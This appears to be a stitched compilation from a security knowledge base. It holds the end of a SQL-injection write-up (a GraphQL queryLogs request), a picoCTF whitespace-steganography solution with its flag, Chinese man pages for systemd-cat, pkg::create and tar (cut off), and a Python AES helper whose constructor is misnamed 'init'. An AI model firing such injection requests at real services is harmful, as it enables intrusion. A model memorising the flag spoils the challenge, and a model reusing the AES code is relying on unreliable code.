Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"sqli",
"state":"ALL",
"paging":{
"pageSize":10
}
}
}
}
```
For more in-depth exploit, you can research by yourself, and welcome to submit PR to us.
|
sec-knowleage
|
# WhitePages
Forensics, 250 points
## Description:
> I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!
The following file was attached (yes, it's composed of whitespaces):
```
```
## Solution:
If we inspect the file using a HEX editor, we can see that there are two types of whitespaces:
```console
root@kali:/media/sf_CTFs/pico/WhitePages# xxd -g 1 whitepages.txt | head
00000000: e2 80 83 e2 80 83 e2 80 83 e2 80 83 20 e2 80 83 ............ ...
00000010: 20 e2 80 83 e2 80 83 e2 80 83 e2 80 83 e2 80 83 ...............
00000020: 20 e2 80 83 e2 80 83 20 e2 80 83 e2 80 83 e2 80 ...... ........
00000030: 83 e2 80 83 20 e2 80 83 e2 80 83 20 e2 80 83 20 .... ...... ...
00000040: 20 20 e2 80 83 e2 80 83 e2 80 83 e2 80 83 e2 80 ..............
00000050: 83 20 20 e2 80 83 20 e2 80 83 e2 80 83 20 e2 80 . ... ...... ..
00000060: 83 20 20 e2 80 83 e2 80 83 e2 80 83 20 20 e2 80 . ......... ..
00000070: 83 20 20 e2 80 83 20 20 20 20 e2 80 83 20 e2 80 . ... ... ..
00000080: 83 e2 80 83 e2 80 83 e2 80 83 20 20 e2 80 83 20 .......... ...
00000090: e2 80 83 20 e2 80 83 20 e2 80 83 e2 80 83 e2 80 ... ... ........
```
We have the standard space (`0x20`), and the Unicode `EM SPACE` (`U+2003` / `0xE2 0x80 0x83`).
Since we have only two options, let's try to treat them as binary.
```python
from pwn import *
with open("whitepages.txt", "rb") as bin_file:
data = bytearray(bin_file.read())
data = data.replace(b'\xe2\x80\x83', b'0')
data = data.replace(b'\x20', b'1')
data = data.decode("ascii")
print unbits(data)
```
Output:
```console
root@kali:/media/sf_CTFs/pico/WhitePages# python solve.py
picoCTF
SEE PUBLIC RECORDS & BACKGROUND REPORT
5000 Forbes Ave, Pittsburgh, PA 15213
picoCTF{not_all_spaces_are_created_equal_f006c045f6b402ce4bc749dc7a262380}
```
|
sec-knowleage
|
'\" t
.TH "SYSTEMD\-CAT" "1" "" "systemd 231" "systemd-cat"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
systemd-cat \- 通向系统日志的管道
.SH "SYNOPSIS"
.HP \w'\fBsystemd\-cat\ \fR\fB[OPTIONS...]\fR\fB\ \fR\fB[COMMAND]\fR\fB\ \fR\fB[ARGUMENTS...]\fR\ 'u
\fBsystemd\-cat \fR\fB[OPTIONS...]\fR\fB \fR\fB[COMMAND]\fR\fB \fR\fB[ARGUMENTS...]\fR
.HP \w'\fBsystemd\-cat\ \fR\fB[OPTIONS...]\fR\ 'u
\fBsystemd\-cat \fR\fB[OPTIONS...]\fR
.SH "描述"
.PP
\fBsystemd\-cat\fR
可以将标准输入重定向到系统日志中, 也可以将进程的标准输出与标准错误重定向到系统日志中, 还可以用作管道过滤器, 将捕获的其他进程的标准输出重定向到系统日志中。
.PP
如果未指定任何
[COMMAND]
参数,那么
\fBsystemd\-cat\fR
将会把它从标准输入读取到的所有内容 重定向到系统日志中。
.PP
如果传递了
[COMMAND]
参数, 那么将会把
[COMMAND]
进程的标准输出与标准错误重定向到系统日志中。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.PP
\fB\-t\fR, \fB\-\-identifier=\fR
.RS 4
设置一个短字符串, 用作日志的来源标志。 默认值是"unknown"。
.RE
.PP
\fB\-p\fR, \fB\-\-priority=\fR
.RS 4
指定日志消息的默认日志等级。 可设为
"emerg",
"alert",
"crit",
"err",
"warning",
"notice",
"info",
"debug"
之一, 或者与上述日志等级对应的 0 到 7 之间的整数。 详见
\fBsyslog\fR(3)
手册。 默认值是
"info"
等级。 注意,此选项仅设置默认的日志等级, 通过开启
\fB\-\-level\-prefix=\fR
选项, 某些特定的行可以使用不同的日志等级。
.RE
.PP
\fB\-\-level\-prefix=\fR
.RS 4
是否解析传统的 syslog 日志等级前缀。 必须指定为一个布尔值。 默认值"yes"表示遵守传统的 syslog 日志等级前缀习惯。 例如,一条以
"<5>"
开头的日志 表示其日志等级为 5("notice")。 其他以此类推。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "例子"
.PP
\fBExample\ \&1.\ \&调用一个程序\fR
.PP
调用
/bin/ls
程序,并将其标准输出与标准错误重定向到系统日志中。
.sp
.if n \{\
.RS 4
.\}
.nf
# systemd\-cat ls
.fi
.if n \{\
.RE
.\}
.PP
\fBExample\ \&2.\ \&用作一个管道\fR
.PP
接收
/bin/ls
的标准输出, 并将其重定向到系统日志中。
.sp
.if n \{\
.RS 4
.\}
.nf
# ls | systemd\-cat
.fi
.if n \{\
.RE
.\}
.PP
虽然上述两个例子的最终效果差不多, 但是首选使用前一种方法,因为同一时间仅需要运行一个进程, 并且可以同时捕获 stdout 与 stderr 的内容, 而第二种方法只能捕获 stdout 的内容。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemctl\fR(1),
\fBlogger\fR(1)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
'\"
'\" Copyright (c) 1998-2000 by Scriptics Corporation.
'\" All rights reserved.
'\"
'\" RCS: @(#) $Id: packagens.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: packagens.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH pkg::create 3tcl 8.3 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
pkg::create \- 为一个给定的包指定构造一个适当的\fBpackage ifneeded\fR 命令
.SH "总览 SYNOPSIS"
\fB::pkg::create \fI\-name packageName\fR \fI\-version packageVersion\fR ?\fI\-load filespec\fR? ... ?\fI\-source filespec\fR? ...
.BE
.SH "描述 DESCRIPTION"
.PP
\fB::pkg::create\fR 是标准 Tcl 库中的一个实用过程。它被用来为一个给定的包指定建立一个适当的
\fBpackage ifneeded\fR 命令。可用它构造用于 \fBpackage\fR 机制的一个 \fBpkgIndex.tcl\fR 文件。
.SH "选项 OPTIONS"
支持的参数有:
.TP
\fB\-name\fR\0\fIpackageName\fR
这个参数指定包的名字。它是必须的。
.TP
\fB\-version\fR\0\fIpackageVersion\fR
这个参数指定包的版本。它是必须的。
.TP
\fB\-load\fR\0\fIfilespec\fR
这个参数指定必须用 \fBload\fR 命令装载的一个二进制库。\fIfilespec\fR 是有两个元素的一个列表。第一个元素是要装载的文件的名字。第二个可选的元素是装载的这个文件提供命令的一个列表。如果这个过程的列表是空或被省略了,\fB::pkg::create\fR 将为直接装载而设置这个库(参见 \fBpkg_mkIndex\fR)。可以指定任何数目的 \fB-load\fR 参数。
.TP
\fB\-source\fR\0\fIfilespec\fR
除了指定必须用 \fBsource\fR 命令装载的一个 Tcl 库之外,这个参数类似于 \fB-load\fR 参数。可以指定任何数目的 \fB-load\fR 参数。
.PP
必须给出至少一个 \fB-load\fR 或 \fB-source\fR 参数。
.SH "参见 SEE ALSO"
package(n)
.SH "关键字 KEYWORDS"
auto-load, index, package, version
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/09/01
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
def xor(a, b):
return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
InvSbox = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
Rcon = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def text2matrix(text):
matrix = []
for i in range(16):
byte = ord(text[i])
if i % 4 == 0:
matrix.append([byte])
else:
matrix[i / 4].append(byte)
return matrix
def matrix2text(matrix):
text = ''
for i in range(4):
for j in range(4):
text = text + chr(matrix[i][j])
return text
class AES:
def init(self, master_key=None):
if master_key:
self.change_key(master_key)
def change_key(self, master_key):
self.round_keys = text2matrix(master_key)
for i in range(4, 4 * 11):
self.round_keys.append([])
if i % 4 == 0:
byte = self.round_keys[i - 4][0] \
^ Sbox[self.round_keys[i - 1][1]] \
^ Rcon[i / 4]
self.round_keys[i].append(byte)
for j in range(1, 4):
byte = self.round_keys[i - 4][j] \
^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
self.round_keys[i].append(byte)
else:
for j in range(4):
byte = self.round_keys[i - 4][j] \
^ self.round_keys[i - 1][j]
self.round_keys[i].append(byte)
def encrypt(self, plaintext):
self.plain_state = text2matrix(plaintext)
self.add_round_key(self.plain_state, self.round_keys[:4])
for i in range(1, 10):
self.round_encrypt(self.plain_state, self.round_keys[4 * i: 4 * (i + 1)])
self.sub_bytes(self.plain_state)
self.shift_rows(self.plain_state)
self.add_round_key(self.plain_state, self.round_keys[40:])
return matrix2text(self.plain_state)
def decrypt(self, ciphertext):
self.cipher_state = text2matrix(ciphertext)
self.add_round_key(self.cipher_state, self.round_keys[40:])
self.inv_shift_rows(self.cipher_state)
self.inv_sub_bytes(self.cipher_state)
for i in range(9, 0, -1):
self.round_decrypt(self.cipher_state, self.round_keys[4 * i: 4 * (i + 1)])
self.add_round_key(self.cipher_state, self.round_keys[:4])
return matrix2text(self.cipher_state)
def add_round_key(self, s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
def sr_encrypt(self, plaintext, key):
state_matrix = text2matrix(plaintext)
key_matrix = text2matrix(key)
self.round_encrypt(state_matrix, key_matrix)
return matrix2text(state_matrix)
def round_encrypt(self, state_matrix, key_matrix):
self.sub_bytes(state_matrix)
self.shift_rows(state_matrix)
self.mix_columns(state_matrix)
self.add_round_key(state_matrix, key_matrix)
def sr_decryptlast(self, plaintext, key):
state_matrix = text2matrix(plaintext)
key_matrix = text2matrix(key)
self.add_round_key(state_matrix, key_matrix)
self.inv_shift_rows(state_matrix)
self.inv_sub_bytes(state_matrix)
return matrix2text(state_matrix)
def sr_decrypt(self, plaintext, key):
state_matrix = text2matrix(plaintext)
key_matrix = text2matrix(key)
self.round_decrypt(state_matrix, key_matrix)
return matrix2text(state_matrix)
def round_decrypt(self, state_matrix, key_matrix):
self.add_round_key(state_matrix, key_matrix)
self.inv_mix_columns(state_matrix)
self.inv_shift_rows(state_matrix)
self.inv_sub_bytes(state_matrix)
def sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = Sbox[s[i][j]]
def x_sub_bytes(self, s):
s = text2matrix(s)
self.sub_bytes(s)
return matrix2text(s)
def x_mix_columns(self, s):
s = text2matrix(s)
self.mix_columns(s)
return matrix2text(s)
def x_inv_sub_bytes(self, s):
s = text2matrix(s)
self.inv_sub_bytes(s)
return matrix2text(s)
def x_inv_mix_columns(self, s):
s = text2matrix(s)
self.inv_mix_columns(s)
return matrix2text(s)
def x_inv_shift_rows(self, s):
s = text2matrix(s)
self.inv_shift_rows(s)
return matrix2text(s)
def x_shift_rows(self, s):
s = text2matrix(s)
self.shift_rows(s)
return matrix2text(s)
def inv_sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = InvSbox[s[i][j]]
def shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def inv_shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def mix_single_column(self, a):
# please see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def mix_columns(self, s):
for i in range(4):
self.mix_single_column(s[i])
def inv_mix_columns(self, s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
self.mix_columns(s)
|
sec-knowleage
|
.TH TAR 1 "Mar 2010" "GNU" "tar"
.SH 名字
tar \- tar 档案文件管理程序的 GNU 版本。
.SH 总览
.B tar
.I <操作参数> [选项]
.I 操作参数:
.nf
.B [-]A --catenate --concatenate
.B [-]c --create
.B [-]d --diff --compare
.B [-]r --append
.B [-]t --list
.B [-]u --update
.B [-]x --extract --get
.B --delete
.fi
.I 常用选项:
.nf
.BR -C ", " --directory " 目录"
.BR -f ", " --file " 文件"
.BR -j ", " --bzip2
.BR -J ", " --xz
.BR -p ", " --preserve-permissions
.BR -v ", " --verbose
.BR -z ", " --gzip
.fi
.I 所有选项:
.br
[
.BR -a ", " --auto-compress
]
[
.BR --add-file " 文件"
]
[
.BR --anchored
]
[
.BR --atime-preserve
]
[
.BR -b ", " --blocking-factor " N"
]
[
.BR -B ", " --read-full-records
]
[
.BR --backup "[=备份类型]"
]
[
.BR --block-compress
]
[
.BR -C ", " --directory " 目录"
]
[
.BR --checkpoint
]
[
.BR --delay-directory-restore
]
[
.BR --exclude " 文件或目录"
]
[
.BR --exclude-caches
]
[
.BR --exclude-caches-all
]
[
.BR --exclude-caches-under
]
[
.BR --exclude-tag " 文件"
]
[
.BR --exclude-tag-all " 文件"
]
[
.BR --exclude-tag-under " 文件"
]
[
.BR -f ", " --file " [主机名:]文件"
]
[
.BR -F ", " --info-script " 文件, " --new-volume-script " 文件"
]
[
.BR --force-local
]
[
.BR --format " 格式"
]
[
.BR -g ", " --listed-incremental " 快照"
]
[
.BR -G ", " --incremental
]
[
.BR --group " 组"
]
[
.BR -h ", " --dereference
]
[
.BR --help
]
[
.BR -i ", " --ignore-zeros
]
[
.BR -I ", " --use-compress-program " 程序"
]
[
.BR --ignore-case
]
[
.BR --ignore-command-error
]
[
.BR --ignore-failed-read
]
[
.BR --index-file " 文件"
]
[
.BR -j ", " --bzip2
]
[
.BR -J ", " --xz
]
[
.BR -k ", " --keep-old-files
]
[
.BR -K ", " --starting-file " 文件"
]
[
.BR --keep-newer-files
]
[
.BR -l ", " --check-links
]
[
.BR -L ", " --tape-length " N"
]
[
.BR --lzip
]
[
.BR --lzma
]
[
.BR --lzop
]
[
.BR -m ", " --touch ", " --modification-time
]
[
.BR -M ", " --multi-volume
]
[
.BR --mode " 权限"
]
[
.BR --mtime " 日期"
]
[
.BR -N ", " --after-date " 日期, " --newer " 日期"
]
[
.BR --newer-mtime " 日期"
]
[
.BR --no-anchored
]
[
.BR --no-auto-compress
]
[
.BR --no-delay-directory-restore
]
[
.BR --no-ignore-case
]
[
.BR --no-ignore-command-error
]
[
.BR --no-overwrite-dir
]
[
.BR --no-quote-chars
]
[
.BR --no-recursion
]
[
.BR --no-same-permissions
]
[
.BR --no-unquote
]
[
.BR --no-wildcards
]
[
.BR --no-wildcards-match-slash
]
[
.BR --null
]
[
.BR --numeric-owner
]
[
.BR -o ", " --old-archive ", " --portability ", " --no-same-owner
]
[
.BR -O ", " --to-stdout
]
[
.BR --occurrence " 次数"
]
[
.BR --one-file-system
]
[
.BR --overwrite
]
[
.BR --overwrite-dir
]
[
.BR --owner " 用户"
]
[
.BR -p ", " --same-permissions ", " --preserve-permissions
]
[
.BR -P ", " --absolute-names
]
[
.BR --pax-option " 关键字列表"
]
[
.BR --posix
]
[
.BR --preserve
]
[
.BR --quote-chars " 字符串"
]
[
.BR --quote-style " 风格"
]
[
.BR -R ", " --block-number
]
[
.BR --record-size " 字节数"
]
[
.BR --recursion
]
[
.BR --recursive-unlink
]
[
.BR --remove-files
]
[
.BR --restrict
]
[
.BR --rmt-command " 命令"
]
[
.BR --rsh-command " 命令"
]
[
.BR -s ", " --same-order ", " --preserve-order
]
[
.BR -S ", " --sparse
]
[
.BR --same-owner
]
[
.BR --show-defaults
]
[
.BR --show-omitted-dirs
]
[
.BR --show-transformed-names ", " --show-stored-names
]
[
.BR --strip-components " 目录层数"
]
[
.BR --suffix " 后缀"
]
[
.BR -T ", " --files-from " 文件"
]
[
.BR --test-label
]
[
.BR --to-command " 命令"
]
[
.BR --transform " sed表达式"
]
[
.BR --totals
]
[
.BR -U ", " --unlink-first
]
[
.BR --unquote
]
[
.BR --utc
]
[
